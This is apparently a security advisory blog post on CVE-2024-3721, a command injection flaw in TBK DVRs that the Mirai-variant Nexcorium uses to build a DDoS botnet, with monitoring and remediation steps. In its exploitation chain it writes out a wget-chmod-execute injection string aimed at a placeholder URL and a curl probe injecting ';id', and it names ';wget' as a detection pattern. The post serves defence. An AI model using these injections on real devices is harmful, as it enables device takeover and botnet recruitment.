VulnSocial
← Back to blog

CVE-2024-3721 – High‑Severity Command Injection in TBK DVRs Fueling Mirai‑Variant DDoS Botnet

Key Takeaways

  • CVE-2024-3721 is being actively exploited in the wild.
  • Exploits target TBK DVR and legacy TP‑Link routers.
  • The vulnerability enables command injection that lets the Mirai‑variant Nexcorium install a DDoS botnet.
  • Immediate actions: block inbound/outbound traffic to affected ports, enforce strong credentials, apply vendor firmware updates where available.
  • Monitor threat feeds for IoT botnet activity and associated IoCs.

Overview

The newly disclosed CVE-2024-3721 is a command‑injection flaw in the web management interface of TBK digital video recorders (DVRs). Since early April 2026, threat actors have been weaponising this flaw with a Mirai‑style malware family dubbed Nexcorium. By injecting arbitrary commands, Nexcorium gains root‑level code execution, installs its payload, and enrolls the compromised DVR into a large‑scale DDoS botnet. The same campaign also targets end‑of‑life TP‑Link Wi‑Fi routers using legacy vulnerabilities (e.g., CVE-2023-33538).

Technical Details

  • Vulnerability type: Command injection in the HTTP/HTTPS management endpoint (typically /cgi-bin/…).
  • Attack vector: Unauthenticated HTTP request that injects shell commands via crafted parameters.
  • Exploitation chain:
    1. Scan for exposed TBK DVR devices on common ports (80, 8080, 443).
    2. Send a malicious request that appends ;wget <malicious‑url>;chmod +x <file>;./<file> to the vulnerable parameter.
    3. The payload drops the Nexcorium binary, which then performs credential brute‑forcing, persistence, and joins the botnet.
  • Related CVEs: The campaign also re‑uses CVE-2023-33538 (TP‑Link) and CVE-2017-17215 to broaden its foothold.
  • Observed tools: Open‑source exploit scripts and custom HTTP clients have been shared on underground forums (≥ 2 distinct tool signatures reported).
# Example: test for command injection on a TBK DVR
nc -zv 192.0.2.45 8080
curl "http://192.0.2.45/cgi-bin/admin?cmd=;id"

Severity & Impact

  • Severity: High (active exploitation, remote code execution, botnet recruitment).
  • Impact: Full device compromise → uncontrolled outbound traffic, massive DDoS amplification, potential for lateral movement inside corporate networks.
  • Exploit activity: The threat‑intelligence timeline shows a surge from 1 report on 2026‑04‑17 to 21 active exploitation reports on 2026‑04‑18, confirming rapid adoption.
  • CVSS: No official score published yet; however, the combination of remote code execution, network‑wide impact, and botnet formation aligns with a CVSS v3.1 base score in the 8.5–9.0 range.

Affected Products

MetricDetails
SeverityHigh (active exploitation, DDoS botnet)
Vulnerable ProductsTBK DVR series, legacy TP‑Link routers (EoL)
ExploitActive exploitation by Mirai‑variant Nexcorium

For the complete list of affected models and firmware versions, see the VulnSocial CVE page.

Actionable Insights – What to Monitor

  • Network traffic: Look for unusual outbound spikes from DVR or router IPs, especially on port 80/8080/443.
  • Port scans: Detect internal scans for the typical management ports of TBK devices.
  • Authentication anomalies: Repeated failed logins or successful logins from unknown IPs on IoT devices.
  • IoCs: Hashes and C2 domains associated with Nexcorium (track via threat‑intel feeds).
  • Patch status: Verify firmware version against vendor advisories; flag devices that cannot be updated.

Remediation & Mitigation

  1. Patch or upgrade the firmware of all TBK DVRs and TP‑Link routers to a version that removes the vulnerable endpoint.
  2. Change default credentials and enforce strong, unique passwords for all IoT management interfaces.
  3. Restrict remote access: Block inbound traffic to management ports at the firewall; use VPN or zero‑trust access for legitimate remote administration.
  4. Network segmentation: Place IoT devices on isolated VLANs with outbound traffic filtering.
  5. Deploy IDS/IPS signatures that detect the specific command‑injection payload pattern (e.g., ;wget in URL parameters).
  6. Decommission EoL hardware: Replace unsupported TP‑Link routers with actively maintained models.

References

Bottom Line

CVE-2024-3721 is a high‑severity remote command‑injection flaw actively leveraged by the Mirai‑variant Nexcorium to build a DDoS botnet from compromised TBK DVRs and legacy TP‑Link routers. Immediate patching, credential hardening, and network segmentation are essential to stop the spread.

#CVE #CVE20243721 #Mirai #Botnet #DDoS #IoT #TBKDVR #TPLINK #Security #HighSeverity